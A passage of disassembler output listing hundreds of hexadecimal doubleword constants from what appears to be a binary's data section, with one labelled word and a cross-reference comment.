		dd 0B1623900h, 2E5BF611h, 0AC68A905h, 0B2BDDC19h, 119C7823h
		dd 0CB3E0008h, 86AF15BDh, 55F016Dh, 0E99E0DCEh,	0F4CADB94h
		dd 0A819EE89h, 1201931h, 0B7F313ADh, 3BA82C1Dh,	1BEC500h
		dd 2E096ABBh, 61841880h, 1328D117h, 12308149h, 0AE030759h
		dd 90ECAD5Ah, 2C15C17h,	7C0F60B2h, 0B44841C7h, 0D9C0F22Eh
		dd 0EDFCC123h, 765E00C4h, 0F5A2A8E7h, 0CF0489BDh, 83D8B970h
		dd 8CC6808Ch, 49489F04h, 0EE63B47Fh, 0ABCF3107h, 0D2477848h
		dd 0E87BA170h, 7980FD2Eh, 441316B3h, 4C7094A6h,	79DF5F04h
		dd 14C21B90h, 4BCA9E6h,	4460C908h, 0E239955h, 0E791166h
		dd 0A1554ACCh, 7E018B8Ch, 81948C7h, 0E9AE63C0h,	2000337Ch
		dd 120185EBh, 0C69D0Ah,	377B3004h, 759EFAF7h, 842E532Ch
		dd 4985108Ch, 91410ED9h, 0C2A0A3EDh, 75959C80h,	0DE07291Fh
		dd 996EA8C1h, 0A8E6C77Eh, 465C60B4h, 0A870007Dh, 7A2F14Dh
		dd 693724E1h, 2AFA8E04h, 0B60B1EE0h, 0CE00A84Bh, 729221B7h
		dd 7BBA29EFh, 0FFD925F4h, 40E2C468h, 42C83C00h,	7FF1E967h
		dd 0A3FE494h, 0F41687D0h, 0C8F3158Ch, 85B20073h, 0DD5497EDh
		dd 260E0ED1h, 635DD053h, 80A38DB1h, 0A4E11B7Ch,	2C346CCh
		dd 0EA75546h, 10703156h, 554CCAh, 0A2C6DAA9h, 0C29222DFh
		dd 21831337h, 24F3BDD0h, 8721FFAh, 0DAEE5Bh, 22CD205Ch
		dd 75039A18h, 0F819F16Bh, 7D01871Ah, 8C308DEEh,	0A69150Ch
		dd 0DA12F010h, 27504502h, 62C78Ah, 5ABBA612h, 4EFD7C00h
		dd 0A9B3EA94h, 64B1000Bh, 49B9B02Fh, 46151384h,	0F88F12Bh
		dd 70FD89h, 12D6822Dh, 0D5840002h, 0C159BEB4h, 0B100D445h
		dd 0B031B69Bh, 792583C2h, 3EA97150h, 8F0047BBh,	3796692Bh
		dd 841B06F4h, 0CA990879h, 0AE8A56Dh, 0B71E0E80h, 74000A5h
		dd 3CD92E7Eh, 8B1CED89h, 9C0A76Eh, 0A3B398AFh, 744806E6h
		dd 4179020Eh, 0E8B6F91Ch, 8A077D93h, 70F59E2Bh,	1916880Bh
		dd 0F4099A28h, 0FF26B456h, 465EFC92h, 4DBF0061h, 0FFC686Eh
		dd 2C81CA7Fh, 74900C7h,	51B5BF1Bh, 38FBC800h, 0FAA678A9h
		dd 69411DB3h, 0B7400301h, 391C8C13h, 4A80DED8h,	9BD428AFh
		dd 30FE4C42h, 0A304BA23h, 5B844548h, 0C50A3098h, 0C7AFD321h
		dd 847AF10Fh, 1BC627Ch,	0CC169EB0h, 0B4D0C1A6h,	0C7821895h
		dd 0E211806Eh, 5BD8B380h, 62843FCh, 9EE0EBFFh, 5800CA43h
		dd 0D9A48499h, 0E459B776h, 82389303h, 0AA7B5AF7h, 0B0042CC2h
		dd 16764470h, 0F706C0A3h, 28C2C60Ah, 0BD19099h,	3C077C18h
		dd 0DA8B282Ah, 0E3AE10Ch, 3F4FB9D5h, 32B4B7C0h,	0DC011C9Ah
		dd 0ED469201h, 5C702810h, 831D417h, 3EE11511h, 317F93EAh
		dd 419A5040h, 290AF50Fh, 0D154A0C4h, 1EC11807h,	87E66E09h
		dd 2186EACAh, 556B1F41h, 0DCF5808Ch, 0B5907B35h, 57381E00h
		dd 0C46647A1h, 170D006Fh, 0E34260A9h, 20E54155h, 0A08C4C50h
		dd 49F3B0BCh, 6288500Fh, 0BEBC3E80h, 318B77Ah, 39A86355h
		dd 4823AF9Ah, 0BEB00350h, 1DF2F3ACh, 3A106F19h,	8007BEB8h
		dd 94EA2BFDh, 896C7DF2h, 0A6DEA694h, 7610A129h,	11B902Dh
		dd 16C019F5h, 0D60161D3h, 31AFF0D5h, 1424080Ah,	0F8172E24h
		dd 87AB912Ch, 7812BDAFh, 110A31C4h, 0E4FCC621h,	0BA600E25h
		dd 0F306B5ACh, 9E767196h, 816A9837h, 198296h, 4A727AA3h
		dd 0A509E002h, 140C1201h, 16D8D063h, 3791B9BCh,	0F8037873h
		dd 74DC8C50h, 0A50297A0h
		dd 483C5039h, 0DF807067h, 8FBF201Ah, 0D8779D0Eh, 36850648h
		dd 0A0CD0229h, 0F20B62D7h, 0FC46F180h, 7C06B988h, 327D0EFBh
		dd 0E01D7C29h, 13BFE8E2h, 929B76B6h, 94623638h,	51985C98h
		dd 8748B603h, 119DA81h,	6F66219h, 846CC802h, 8135040h
		dd 30B8EC90h, 0BCAE3EC6h, 6F015848h, 0C245975Dh, 0AB2C7047h
		dd 0FE84E140h, 884400D4h, 0D07BB9CBh, 24B0DB31h, 78884B54h
		dd 8880AD03h, 8364F447h, 83C9A76Fh, 80AEEC90h, 0EF1F067h
		dd 85160618h, 8D8C03EEh, 7D040D08h, 0F5D6E34Eh,	0F1EC3480h
		dd 3C5E07Ch, 5980735Ch,	95800DFCh, 0FA0017B8h, 0DA1AFDCEh
		dd 30203AD4h, 0C210CDF0h, 36002BB0h, 84FC69F3h,	307F1478h
		dd 0B4903F88h, 0A314AE43h, 1798BFB0h, 0C0BA1D8h, 4D90C194h
		dd 0A7807828h, 5D196018h, 0DB07027Eh, 0F056762Bh, 0E016D540h
		dd 0E674B827h, 9C7B2EB2h, 0ACD6001Fh, 17DC5A60h, 9E91ACA0h
		dd 0D428DC94h, 0B2E32603h, 1C60149h, 5C75E9E8h,	2D13ACCFh
		dd 530500CCh, 0F24D8CBDh, 37C50036h, 32A06121h,	9734E83h
		dd 540010F8h, 0E13DD716h, 0BA4234h, 972FD3B9h, 2552DB15h
		dd 0E95A3E00h, 3FE80D96h, 0BCA348C9h, 0C600847Fh, 0C7F2799Dh
		dd 79227F4Ah, 0AEE905FDh, 133A9AB6h, 250088F8h,	945288h
		dd 0B973FFEEh, 0EC7EE770h, 9A02080Ah, 9B806037h, 0DDB819C7h
		dd 7056073Eh, 0BB395Eh,	75C02B86h, 77264102h, 80662E64h
		dd 0F19C948Ch, 0B3100B3h, 2079CD48h, 0A603A7A3h, 7CD8BBE1h
		dd 69B3A0A8h, 607374E2h, 2E80086Dh, 0BEC39AC4h,	0A04157CEh
		dd 79346C3h, 5655BA8Ah,	4C3BC39Dh, 204302E1h, 447CCFD1h
		dd 7C4C8978h, 10DE302Ch, 6CB19Ch, 97B8DD93h, 5FE6C63Bh
		dd 0DF816300h, 68A4053h, 80500094h, 8C522EC4h, 0C8F99ACEh
		dd 4C3C4AB2h, 83A369Bh,	9C4D0F30h, 828E5704h, 85BF0396h
		dd 0DA0240C3h, 0CE4641B9h, 46488E0h, 0CA83DFF5h, 0E37AD0DAh
		dd 0CB29E083h, 0CD21C06Ch, 0E65DB592h, 0B77ECC06h, 6008BCEEh
		dd 0AC272178h, 6805E7B5h, 0F2AA37BEh, 672D00BFh, 7A2AF869h
		dd 0C79FD3Ah, 187EFA52h, 97373FFBh, 4AF7E58Ch, 5E005381h
		dd 0EC52B6B9h, 3E92A875h, 0AC0CFC68h, 6D98ABE9h, 6638C874h
		dd 10743005h, 18F01102h, 50476B32h, 8CC1F63h, 3ABF31EDh
		dd 0C980F027h, 8DE5F7EEh, 58C09C7Ch, 0D8A9FEDCh, 0C6B53E79h
		dd 18903C18h, 7C1F36E0h, 1A007AF8h, 553DB34h, 3351C0E5h
		dd 7875448Fh, 0F160A500h, 9C0FDBEFh, 0ECDD3FDCh, 0E5C36380h
		dd 522B3A17h, 0F07DE40Ch, 18C858A1h, 49D8E3ACh,	0BCA8664Bh
		dd 0D50027E5h, 2ED7FD51h, 367A29h, 501A530Bh, 0DCCAB2E7h
		dd 21982156h, 87F8256Bh, 0E130F900h, 0FBCC0EE8h, 0DE520679h
		dd 788E3C7Dh, 0BD36BA01h, 6EB55CB4h, 0C28DD850h, 0C62E18DDh
		dd 0FC06E8E1h, 13000492h, 0CBF1E498h, 188E8F4Ah, 71A7BBC3h
		dd 0E65C4C4Bh, 0C21300CDh, 2D38775Bh, 37FA0091h, 9BEEA5D0h
		dd 53485643h, 1262320h,	0E658B597h, 88711894h, 0B500912Ch
		dd 87703376h, 701FAA4Ch, 55E60C7Dh, 0BCC8800Ch,	0ED7CAC50h
		dd 28464E02h, 414CC25Ah, 0AC50C328h, 0C0B2EBE2h, 0FEA3429h
		dd 6707A932h, 1746BAE9h, 716F08A1h, 182C4820h, 203728EAh
		dd 49029AC8h, 22E83410h, 30A483C1h, 0C7A8B52h, 0AB47E260h
		dd 2604B2D8h, 0B57B106Eh, 0B7205481h, 62477400h, 0AFFACA18h
		dd 0DBC3D80h, 8BE46E10h, 3EB3E020h, 0A9764A30h,	1AC5A93h
		dd 0C96BDB99h, 9A73F4FCh, 0DF214C08h, 9F4A7C40h, 7C7A071Fh
		dd 0A6E4530Fh, 155082D0h, 0A06ACA54h, 59E66000h, 0DFE9F815h
		dd 0E06B7230h, 91C6AD88h, 18D97998h, 78E291h, 9DCFECAAh
		dd 7EACE41Ah, 6B608B19h, 2AE4E249h, 538528EAh, 0F13B1490h
		dd 8780D07Bh, 7EB28D63h, 0FC01BCE8h, 52819D6Eh,	97E8CE6Ch
		dd 71E66006h, 0C46061E7h, 0F2383300h, 3A63D810h, 30C87CD5h
		dd 0E6E16734h, 0A962AC75h, 840E59F8h, 309825C4h, 23B57D96h
		dd 7611ACE6h, 0B5B02B00h, 0F3EC1747h, 0C1598201h, 0EB4626DBh
		dd 32600030h, 0BEA0BA75h, 0A848700Ch, 4CAC23ECh, 0E58428E4h
		dd 0CA4488F3h, 96616360h, 0F29ADCEEh, 3770E83h,	133DBABh
		dd 2961C03Bh, 529947Ch,	823D007Ch, 3F583822h, 0D4C40081h
		dd 0B1BB7312h, 8E04BF11h, 0CBAEE06Bh, 2D284480h, 2E5B18BAh
		dd 8015B142h, 91DFF004h, 8178E8h, 7C25297Fh, 30383442h
		dd 0DBE6AC5Ch, 4F223B46h, 0AC643A00h, 0B8051FDAh, 3D90010Bh
		dd 0CB5401DFh, 0AB98068h, 4A31121Dh, 290705E5h,	37DE9EAh
		dd 325898FCh, 520BC4D0h, 0DEE3FD0Ah, 624490ADh,	0D8715A40h
		dd 0A0007499h, 445F206Fh, 7EC0E0CFh, 3C530090h,	8E582898h
		dd 99C0654Ah, 8F3A1951h, 242200EEh, 66AECD5Ch, 2A3DF15Ah
		dd 0E492004Ah, 8261B03Dh, 0C9A3533h, 65780880h,	2FF012C0h
		dd 1063E56Bh, 0F028BC80h, 7283615h, 5C20FC81h, 94DE50AFh
		dd 0B33E1504h, 5E80A83Ah, 4BDB95ACh, 66380087h,	9A2E7CACh
		dd 0D19CF901h, 0DC30F5B8h, 0A0E67AE4h, 2AE53DE0h, 1094ABE0h
		dd 78FAEBACh, 124923Ch,	2A1296DEh, 0E8421E69h, 0AC59303Bh
		dd 63DB9611h, 35804B88h, 0BDFDAC61h, 0FBF22C48h, 0E8250874h
		dd 527D843Fh, 48D26371h, 0AC58303Ch, 5BDB9711h,	36814E88h
		dd 0D264AC60h, 0FB494D0h, 4B8172E5h, 0C8892139h, 1A00802Eh
		dd 0B62485A4h, 1E0A79D4h, 8266982Bh, 1110BB15h,	91468486h
		dd 68BB8A8h, 0B7C8E354h, 91A11300h, 0F63784D5h,	0DD4A00B9h
		dd 0ACA02BB1h, 94A8E1EDh, 6F2EDE3Bh, 60110875h,	34F00F80h
		dd 448C176Bh, 2501A1DAh, 556CC0F0h, 5AD5B6ABh, 25FEED4h
		dd 6DDE78F3h, 0B0659AA4h, 1E507701h, 88606FAAh,	8D3A88ADh
		dd 0D87FDA00h, 6760D9CAh, 7D7702B5h, 0BBA0AD18h, 0D0B7F093h
		dd 6235082Bh, 9010E3Bh,	18271FAh, 0EBF86BA0h, 0D49E424h
		dd 0B0C2936Dh, 2136D839h, 862A0C39h, 29325F1Eh,	219F6308h
		dd 0B8E83E72h, 0C73CCB75h, 13BC89E7h, 9CC825Ch,	0B19A0751h
		dd 60F14A2Eh, 0C8B88DF4h, 90779220h, 0CF7548BDh, 4B168E3Eh
		dd 23DC3A3Bh, 69290074h, 0E6EA557Dh, 8A95A209h,	80D60C52h
		dd 0F1F60936h, 0CC17C871h, 0F980EC91h, 60BB7C59h, 349279FAh
		dd 7A1EDC09h, 0F72004EDh, 3061F882h, 3311F00Eh,	0EE880F6Bh
		dd 0F024C083h, 0A8C2E58Dh, 818D0C9h, 0D9F9E57Dh, 0AC46C4A0h
		dd 11212F02h, 0A731992Ah, 21377510h, 0F84FF42Eh, 0CA50808h
		dd 0CC21AABCh, 0A98C1300h, 34DD43E6h, 928E0476h, 3603761h
		dd 13E706B3h, 12B9A1h, 9E7EB1C6h, 0A74D8EA6h, 655B0004h
		dd 5211C38Dh, 8BC4A0E4h, 207D2EE6h, 0CA2386F4h,	41005164h
		dd 0D36EFBFh, 1A7FFBBCh, 497C12E8h, 5011FC9Dh, 4C4A9080h
		dd 0C005DD6h, 1C34E994h, 5CE58DBBh, 1D9EB8F7h, 200C57DCh
		dd 0D3EA2E50h, 53B0345Ch, 30ECA2D4h, 5A03C40Eh,	0F9E3BDBCh
		dd 846958A9h, 0B4205509h, 551E448h, 8E07C8B8h, 1A1E5C6Ch
		dd 3862100Dh, 79A26C53h, 75DC9331h, 0E0A15CF4h,	5B01A39Ch
		dd 73DB98ACh, 33886818h, 8FAC0163h, 0F65AB2F5h,	0F388204Fh
		dd 0C45ED016h, 150EEC02h, 88444562h, 0CA0C6E75h, 0F09915Fh
		dd 0DE9891AEh, 0D4527680h, 3419D9B4h, 0E1868C80h, 0E50B2062h
		dd 2C10AFF5h, 540A2B58h, 0ACD10623h, 0A3BB7E80h, 0F5BFBB5h
		dd 628CB7F7h, 0B2841E07h, 0C8C2CB15h, 60C0A461h, 300C0EECh
		dd 8966CAF1h, 2AE31D97h
		dd 1EA040F9h, 0DDC37B1Fh, 3E08F8C4h, 4DE270A2h,	7619AE30h
		dd 97C701D4h, 0FAE3F0F8h, 4EF44CB5h, 9542B4Ch, 65B0DF3h
		dd 4C102A9Ch, 238A0862h, 0D408B710h, 0F01CA52Eh, 29DA7B6Bh
		dd 6410C920h, 0F0081318h, 0C4376B30h, 29BD40D8h, 590ECF0h
		dd 3E59C406h, 0D4D8838Dh, 0BBC2210Ch, 64B1A0h, 7771589Eh
		dd 5BB024EBh, 3D875401h, 0A40C7248h, 5CE58EECh,	6704742Ah
		dd 0C82B9CF8h, 48C92FCh, 2A132135h, 3DC43929h, 0EEAE0021h
		dd 88B56543h, 16380CA1h, 0B4C6A4BDh, 7D6465Eh, 0EFD13B21h
		dd 7B22CB1h, 6FE1E4C4h,	0FA2271B1h, 6043807Dh, 4D5890DCh
		dd 6D2955FEh, 33015CB0h, 392A0D21h, 71889A18h, 3D21053Bh
		dd 843C6885h, 628A30Ch,	0E11332ABh, 0F464A070h,	2AE4A891h
		dd 4D5E375Ah, 62F09180h, 33606164h, 30A7A298h, 0C6090ED7h
		dd 0B17855h, 0C93BF4ECh, 0D27B401Ch, 0B9346112h, 5115C844h
		dd 757E4091h, 5253A989h, 6380340Eh, 5983E53Bh, 18C23530h
		dd 122A9A33h, 0D1E4E6ACh, 17B1E018h, 0F859ECC6h, 5E089C52h
		dd 3004E46h, 0B548D92Fh, 437CE4A5h, 6DDAE014h, 0F0283288h
		dd 0E060CD83h, 24ED5340h, 5655B306h, 25A4FB07h,	0E814DDE5h
		dd 0C3464200h, 2253F513h, 82BE254Eh, 6900E1D8h,	0DC8D975Fh
		dd 5947F2F3h, 0EBC1048Ch, 0A46E8AEFh, 0E026ECB0h, 7EEF4674h
		dd 36751004h, 24A2E75Eh, 0FAEDF448h, 17F9630h, 0A854D5D1h
		dd 80A3BC4Ch, 9BF9A1F1h, 2D3F38h, 0C462D4ECh, 8F47430Dh
		dd 2AB12C04h, 84B051E2h, 0C0BC7452h, 0AEE6FC39h, 2F496E7h
		dd 0DFAC240Dh, 0A802C1EAh, 1064119Fh, 68CEADh, 1A078ACFh
		dd 0B729A07Fh, 628D2300h, 3EE48090h, 6E083F54h,	80A6B416h
		dd 0EC8DFE54h, 0D87980A2h, 7D187779h, 0B6EA3905h, 4492160Eh
		dd 54C433C5h, 8CA4E828h, 0B3560604h, 98C2B2D0h,	46110E9h
		dd 0F100DAF8h, 2AC38B33h, 24B03D53h, 24ACE1DDh,	2A8CAE8h
		dd 0C2132858h, 0F109A870h, 187D4AF0h, 14AA8778h, 0C45D99F2h
		dd 0B6F3E508h, 6989539Fh, 0F76422CBh, 116A11B5h, 0F2F868C9h
		dd 935FF257h, 5E1DD020h, 8600DD74h, 36E05198h, 0A95CC070h
		dd 951828CCh, 0E6235EF6h, 0E7211C4h, 60B5AF2Ah,	0E4D16EA1h
		dd 8F0F0E20h, 0E6C94A4Eh, 52A1C8B0h, 2EE06B80h,	2828C6EEh
		dd 0D17099A8h, 0CB18D6h, 20F931B1h, 1C2B2594h, 97E0E414h
		dd 0C38D82A4h, 30464C2h, 9781942h, 0C1AFC437h, 0F4E38F3Ah
		dd 9713F472h, 4442B053h, 585DFA82h, 5B890674h, 1162522Ah
		dd 7E09E500h, 2EB1948Eh, 50B6A1h, 3FA775ECh, 733AFC63h
		dd 0B3F10546h, 0B1405A2Eh, 65D93567h, 41589142h, 286360CDh
		dd 3D8F168Ch, 8C0CB064h, 66B31FFh, 7DE3DCDEh, 0F71269A3h
		dd 0D2E899EFh, 29A69A00h, 4882AD81h, 92FBE00h, 101161AFh
		dd 0E46A3A9Dh, 0DCF38680h, 0AE8E0717h, 3D66648h, 5A96703h
		dd 0C8A3E865h, 93131F87h, 2676FC40h, 883D72h, 0B0AE26C0h
		dd 491F9AEDh, 2FC0EB86h, 4BBA4622h, 0BEC401A5h,	0ADF2B567h
		dd 0AE7C20D0h, 0E36D9600h, 3010E599h, 0B2FC04A7h, 80D94236h
		dd 0B19606FCh, 9325BC7Eh, 8250353Ch, 61CB033Eh,	6E714048h
		dd 0EEB18C00h, 0E638CECAh, 664B24F8h, 80241164h, 0E65AB599h
		dd 580C9CA4h, 3098932Eh, 0D48C0401h, 31F8D08Dh,	36C1E038h
		dd 0C85DFE5Ch, 0E438B57Ah, 298257Dh, 0F0DA26E8h, 40BE2C4Ch
		dd 69467494h, 5500B258h, 89A5638Dh, 261DD348h, 7897F228h
		dd 64BB1882h, 0B9440014h, 6C4DA485h, 0E096547Fh, 885B3C23h
		dd 18E631B8h, 48B6607Dh, 0C60CC57Eh, 1088CC8Dh,	874F01E9h
		dd 6890A75h, 8B8853FBh,	0F81D1891h, 877152E8h, 7650BC50h
		dd 7C95F10Bh
		db 4Eh,	20h
word_505446	dw 0C9ACh		; DATA XREF: ___:off_435710o
		dd 94C35453h, 0DA9983F4h, 0B9F887F8h, 0FC00DCE6h, 2A5F5CDEh
		dd 0C77909F2h, 705398F0h, 6DCFF0Dh, 7B01BE08h, 702F25B5h
		dd 90A22E84h, 0B2AD8D2Ch, 13ED5D3Dh, 0B48252B1h, 0F00C3063h
		dd 1F6B3516h, 0A201AC8Bh, 0E280F02Ah, 7F60DC8Eh, 848FD894h
		dd 8002ED26h, 7ABCA742h, 21A10094h, 82DA1701h, 32729108h
		dd 397F1E35h, 71E85705h, 0E90BD4D0h, 46F589Eh, 4A20B47Dh
		dd 0DBA00751h, 9035E710h, 5281C0BCh, 11B50E27h,	5D183780h
		dd 0DB92AC08h, 406AC443h, 5DAC6539h, 84600122h,	0CB62F86Bh
		dd 9B873FBh, 0A22E5A2Ah, 5961926Ch, 698D0040h, 0C38E53ABh
		dd 50B460B2h, 1DA465Eh,	6E606AF8h, 306638A4h, 0E03377E2h
		dd 3B19DB8h, 90B8DE3h, 0D109C78Bh, 2087365Ah, 0C9777590h
		dd 247C7A1Ch, 180CEEBAh, 8D9F50E6h, 0B144B4B0h,	0EDEA3A8Ah
		dd 0E063386Fh, 5002C3BAh, 207DA752h, 17E4549Fh,	85C8C9F4h
		dd 0F83D6D91h, 516964E2h, 0A6E48845h, 2A3C5A61h, 0A21808h
		dd 0E8ABBB54h, 0E212B27Ah, 48B4830Dh, 0B774132h, 0C0A58834h
		dd 0EA0D6C97h, 0E0E6DF3Ah, 75DE6948h, 78AC63F8h, 3AC8E13Eh
		dd 0AB56B0B3h, 6BD8F0F8h, 0C1CB0B4Ch, 14C4F5E3h, 0E513E642h
		dd 250022DDh, 7A790051h, 88383D18h, 0E0AD143Bh,	86B092Ch
		dd 9CB0626Fh, 6B4544C0h, 6643DEDh, 67646023h, 30622929h
		dd 0D0982DF0h, 34B1CA2Ah, 0B96FDA00h, 0F9DB7B4h, 806E7B52h
		dd 0CEFD7E44h, 0C3DA8834h, 1390FF9Ah, 20C967CEh, 797C51C5h
		dd 3B818EFh, 0E653B29Ah, 17ADB075h, 1EEC20E8h, 433F9935h
		dd 53EE09E5h, 0F4840263h, 0A828203Dh, 71268672h, 3824D274h
		dd 7C4B467Eh, 0E5818E16h, 662EE007h, 25E0CE3Bh,	90442C62h
		dd 9CC45510h, 3AE3B213h, 779230Ch, 0DF3A154Ah, 0B23412C1h
		dd 0B8F03849h, 9E058C9Bh, 0CB6F57ADh, 84B4F884h, 36DB0CC2h
		dd 87C8D392h, 394FE6F6h, 0FE1D841Eh, 0ECAC78C3h, 4B3115D0h
		dd 0F000885Eh, 0EBF159D2h, 0FB1D7E58h, 5424979Ah, 4C22309h
		dd 34926340h, 3BFC7928h, 82621AC2h, 0D47120h, 9C50BF3Bh
		dd 8D0086CCh, 0E4261332h, 69E785Eh, 2BEE968Ch, 624382Eh
		dd 0A2818CFEh, 1845F51Ch, 0E8484C2Dh, 0B98CDBFCh, 93589EF0h
		dd 0C80CD2DAh, 0D771E051h, 180F3418h, 8013C7FAh, 0BBCDBECh
		dd 8244B163h, 831465C6h, 0B8316C54h, 0A86DC2C0h, 58E5C100h
		dd 0CB526ECAh, 3BFE9200h, 36F5DDDCh, 0EEFA09ACh, 680199E3h
		dd 31748DEAh, 0C42F2EA4h, 0A704EE23h, 0A0ACE1E3h, 24D8B6A3h
		dd 0A702C5EBh, 4BCE98C1h, 1019623Fh, 76F06B8Ch,	754C98EAh
		dd 0E17A092Eh, 848467B5h, 75DC54A9h, 0E9A1D831h, 9C247206h
		dd 5B6B138Eh, 23943AB2h, 6080579h, 0C200A012h, 0BCFC5828h
		dd 0C02A6124h, 93A8A46Fh, 0B4285401h, 0F402248h, 2C023210h
		dd 176B0E0h, 0EED96533h, 2821FEF5h, 0CE6D0180h,	0A9EA2852h
		dd 0D73CD874h, 8D288240h, 5850B906h, 70286935h,	10530284h
		dd 633B8F8Eh, 0B50B5C74h, 400C89B8h, 8393DF80h,	46E10F8h
		dd 0F66C0095h, 0AC361F3h, 0D6E61E83h, 0A8652590h, 90637AE4h
		dd 55ABC2B0h, 0A223EE1Eh, 0E0368E00h, 0B9B6BD06h, 60F4F350h
		dd 1FCE312h, 69A65DFAh,	807ECAC8h, 26E46E21h, 0F9C03Ch
		dd 0E8C52C98h, 6CA12831h, 6D625C01h, 0C88EF067h, 1C100C31h
		dd 0E9F89Bh, 0D3BC0595h, 0FA4C891Dh, 260EC300h,	61448803h
		dd 101C9871h, 5EAFE37Eh, 4B23942Fh, 6ACF6400h, 25DC2FA3h
		dd 0F86039FEh, 0CCB6C749h, 0C6C400D6h, 0C843BDF4h, 8018D38Fh
		dd 0C571604Bh, 8990FFEh, 0C2A02609h, 9FB0CE0Ch,	0FACA6C02h
		dd 9DBCB233h, 807511C0h, 1DE1DD60h, 55C6096Eh, 64618FC0h
		dd 0BC0438F3h, 29028C77h, 3684795Eh, 2C445686h,	0DCC43C18h
		dd 59712F8h, 943A4308h,	0A401EE23h, 0A52858C0h,	88B09870h
		dd 0EF380733h, 30E48153h, 0D54A2E96h, 0C17A0834h, 0F4ABE241h
		dd 0D0F8EAEAh, 0D6C4E34Ch, 0D723442Eh, 0FDCF2900h, 2ABD93Ch
		dd 12460539h, 14643562h, 387F6608h, 2EC80FB4h, 89208C67h
		dd 0D8D19051h, 3405B418h, 0F221DA49h, 4E7598F0h, 6298C15Ch
		dd 87D4482Eh, 52A96904h, 28BC4210h, 0F8C4FBCh, 6A5250CEh
		dd 95BB38A1h, 2C002F3Ah, 8DB57B07h, 0D8B14Ah, 0E999C937h
		dd 0C0018F24h, 0F9A00744h, 5829E6E3h, 698E5B0Ch, 0C2F461D8h
		dd 5E0139DFh, 224F45EEh, 27DE6830h, 18825530h, 746C7DE6h
		dd 5D64950Fh, 0F37F86B5h, 80100959h, 0DC1D3FADh, 4B804D11h
		dd 0A9EEBCFAh, 6DF4F13h, 0E2F8E4h, 8BEAE926h, 33BA4E9Eh
		dd 5338A212h, 0D723543Ah, 92878B00h, 1E347250h,	82D2F2E6h
		dd 0E53A065Ch, 7E0C4476h, 2C537963h, 4280E1ACh,	0C8E15AC3h
		dd 0B341891h, 312A0E21h, 7080B8E5h, 9EC8213Ch, 34C91EBDh
		dd 0E17DC5DBh, 8CA41420h, 0A1E80618h, 0B90038A7h, 2758E7A5h
		dd 4C3FF544h, 407C005Ah, 0A4B65495h, 4E98A23Eh,	0A9BC2053h
		dd 0AB016CC0h, 119433D4h, 8C80F7Fh, 0AC2F153Ch,	9C5964EDh
		dd 23542F5Ah, 507B00D9h, 0D5DBAD62h, 80FBC91Dh,	8AFEA3C4h
		dd 17D25E80h, 0A83E5CC2h, 0AC6BA5h, 0FB24058Dh,	887F3013h
		dd 4182AA0Ch, 88380264h, 8F38E02h, 70D465C7h, 5C91EA04h
		dd 96DBDE02h, 8BBBB0D4h, 52B2447Dh, 700F2430h, 0FC642560h
		dd 0CBBAC600h, 87152052h, 0DEA4003Dh, 0ACE38D2Ah, 0A537EAF5h
		dd 61415856h, 8D106337h, 0CE4ED06Bh, 0B8284400h, 170D42C1h
		dd 80CA1C6Ah, 0E455AE80h, 327754FCh, 4D371E04h,	40A9FC4Bh
		dd 0BA0343B8h, 0C0B1062Fh, 0DFEA8815h, 0BC78406Eh, 65465A1Ah
		dd 0E464E5A8h, 511060DAh, 0A282020Bh, 9A2EDBC0h, 0C00250EAh
		dd 2C5EA1C4h, 12373242h, 0D76444E5h, 0D3A40C60h, 58FEA500h
		dd 1EF18409h, 58A2E45Ch, 100450FFh, 0E42F6211h,	6A586058h
		dd 9626C258h, 650601E5h, 2334227Bh, 0F00D0162h,	63276B36h
		dd 23A3855Ch, 849B1884h, 1F20D311h, 98344636h, 52C08482h
		dd 4152F870h, 301888EBh, 0ED084F8Fh, 78DB842h, 5322C5B9h
		dd 80BC81A8h, 0AC10198Fh, 0C67B5E6h, 60F7F66Bh,	2013DC91h
		dd 8F4CAB6h, 0FFF8007Dh, 90A76F11h, 939DEEACh, 0F2AAB8CCh
		dd 0B4502521h, 6A3C7819h, 2E00806Bh, 0E8039665h, 8977BB72h
		dd 0AFC414B4h, 10213260h, 45812A25h, 3A76804Ch,	0DDE94F21h
		dd 0F3F5B204h, 20EDC869h, 3A1642ACh, 0E804535Bh, 5901ABC8h
		dd 3037EEFDh, 4A308E94h, 8055A979h, 2FB802CCh, 907DE499h
		dd 2A11C8A0h, 97A9F2h, 22B9636Ch, 0DCA29786h, 74804324h
		dd 0E5AF5655h, 0E8F2C6F6h, 0A3F48B54h, 6F6F58h,	0F3941528h
		dd 0C58CD5h, 46EEB117h,	0D8914EC2h, 4DFEDD0Bh, 9ED40F06h
		dd 98369683h, 0C244E797h, 0ADC02094h, 3CE6EC4h,	692C8611h
		dd 0A490F3D4h, 0F0B80B98h, 0D0D8BC82h, 6EC8F600h, 24B9DDDCh
		dd 611D05A9h, 0E01065E4h, 32070C70h, 0BCE9E514h, 0FFF7AEAFh
		dd 0CBB23482h, 0AF20487Dh, 0AD6500FDh, 0EC799DF0h, 0C900D07Ch
		dd 7D35F774h, 4E8DE6AEh, 0B5800D8h, 2E5B999Eh, 170C4603h
		dd 0E0420F6Ah, 86E5A2h,	5815FFBDh, 69C1307Bh, 0C8C0BE00h
		dd 0F3144806h, 577D55h,	9A2F0B71h, 0C5B8BEDh, 3117CD03h
		dd 189DAC76h, 61879E58h, 0A30FEE79h, 0E0C8CF0Bh, 406CD5B9h
		dd 0D4183F3Ch, 7088DF00h, 0C138E82Ch, 0FFB3C400h, 56443353h
		dd 0E79100D3h, 0C72C6EF9h, 0E400FDCEh, 0B16AA557h, 0C07094D7h
		dd 0EE642219h, 140FD44Ah
		dd 600D3EC4h, 2C214E8Ah, 0ABA0C046h, 375F4AE7h,	2230B677h
		dd 73781948h, 75CC0039h, 2BA0E86Ah, 0AFE004D5h,	51303F00h
		dd 5A8DBD9Bh, 0E74B30D9h, 6D25C188h, 6579AD00h,	45EF66CAh
		dd 3D850C98h, 8BF063B2h, 97B8D466h, 0E89F18A0h,	8921859h
		dd 1000578h, 7830F262h,	3C25E95h, 0C3AF1A48h, 0F8006A52h
		dd 8DBB2026h, 0A04D35h,	0DA9DA20Dh, 0C7C8D839h,	0AA794A7Eh
		dd 0A4E49803h, 0E8976213h, 3CB91Ch, 5532BAB2h, 0F163E6C0h
		dd 0BBAFFE1Dh, 0D8515E80h, 0BF1681h, 0F175BD7h,	871F2C98h
		dd 0DAA63Ah, 0F099E695h, 0E7D46E1Dh, 5F1800E3h,	47429DD5h
		dd 20ADDF57h, 0D13A8B84h, 7E07D90Eh, 0BC404199h, 0F815D498h
		dd 0D50F19FAh, 80C0A593h, 2B91CE4Ch, 0EFD3004Fh, 6A7475Ah
